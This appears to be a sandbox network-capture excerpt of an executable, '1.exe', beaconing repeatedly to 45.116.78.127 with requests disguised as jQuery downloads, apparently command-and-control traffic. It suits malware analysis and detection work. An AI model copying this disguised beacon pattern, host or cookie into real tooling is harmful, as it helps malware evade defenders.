2025-01-02 09:35:39 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:40 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:40 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:40 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50024	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:41 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:42 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:42 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:42 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50025	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:43 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:44 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:44 GMT Server: NetDNA-cache/2.2 Content-Length: 5671 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:44 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50026	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:45 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:46 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:45 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:46 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50027	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:47 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:48 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:47 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:48 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50028	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:49 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:50 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:49 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:50 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50029	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:51 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:51 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:51 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:51 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50030	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:53 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:53 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:53 GMT Server: NetDNA-cache/2.2 Content-Length: 5628 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:53 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50031	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:55 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:55 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:55 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:55 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50032	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:57 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:57 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:57 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:57 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50033	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:58 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:59 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:59 GMT Server: NetDNA-cache/2.2 Content-Length: 5607 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:59 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50034	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
